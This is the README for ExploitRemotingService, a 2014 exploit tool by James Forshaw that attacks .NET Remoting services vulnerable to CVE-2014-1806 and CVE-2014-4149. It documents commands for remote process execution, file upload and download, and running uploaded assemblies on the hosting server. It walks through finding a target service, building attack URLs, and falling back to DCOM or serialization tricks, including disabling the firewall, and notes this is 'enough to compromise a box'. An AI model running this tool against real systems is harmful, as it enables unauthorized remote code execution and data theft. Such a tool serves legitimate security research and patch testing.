ExploitRemotingService (c) 2014 James Forshaw
=============================================
A tool to exploit .NET Remoting Services vulnerable to CVE-2014-1806 or CVE-2014-4149.
It only works on Windows although some aspects _might_ work in Mono on *nix.
Usage Instructions:
===================
ExploitRemotingService [options] uri command [command args]
Copyright (c) James Forshaw 2014
Uri:
The supported URI are as follows:
tcp://host:port/ObjName - TCP connection on host and portname
ipc://channel/ObjName - Named pipe channel
Options:
-s, --secure Enable secure mode
-p, --port=VALUE Specify the local TCP port to listen on
-i, --ipc=VALUE Specify listening pipe name for IPC channel
--user=VALUE Specify username for secure mode
--pass=VALUE Specify password for secure mode
--ver=VALUE Specify version number for remote, 2 or 4
--usecom Use DCOM backchannel instead of .NET remoting
--remname=VALUE Specify the remote object name to register
-v, --verbose Enable verbose debug output
--useser Uses old serialization tricks, only works on
full type filter services
-h, -?, --help
Commands:
exec [-wait] program [cmdline]: Execute a process on the hosting server
cmd cmdline : Execute a command line process and display stdou
t
put localfile remotefile : Upload a file to the hosting server
get remotefile localfile : Download a file from the hosting server
ls remotedir : List a remote directory
run file [args] : Upload and execute an assembly, calls entry point
user : Print the current username
ver : Print the OS version
This tool supports exploit both TCP remoting services and local IPC services. To test
the exploit you need to know the name of the .NET remoting service and the port it's
listening on (for TCP) or the name of the Named Pipe (for IPC). You can normally find
this in the server or client code. Look for things like calls to:
RemotingConfiguration.RegisterWellKnownServiceType or Activator.CreateInstance
You can then try the exploit by constructing an appropriate URL. If TCP you can use the
URL format tcp://hostname:port/ServiceName. For IPC use ipc://NamedPipeName/ServiceName.
A simple test is to do:
ExploitRemotingService SERVICEURL ver
If successful it should print the OS version of the hosting .NET remoting service. If
you get an exception it might be fixed with CVE-2014-1806. At this point try the COM
version using:
ExploitRemotingService -usecom SERVICEURL ver
This works best locally but can work remotely if you modify the COM configuration and
disable the firewall you should be able to get it to work. If that still doesn't work
then it might be an up to date server. Instead you can also try the full serialization
version using.
ExploitRemotingService -useser SERVICEURL ls c:\
For this to work the remoting service must be running with full typefilter mode enabled
(which is some, especially IPC services). It also only works with the commands ls, put
and get. But that should be enough to compromise a box.
I've provided an example service to test against.
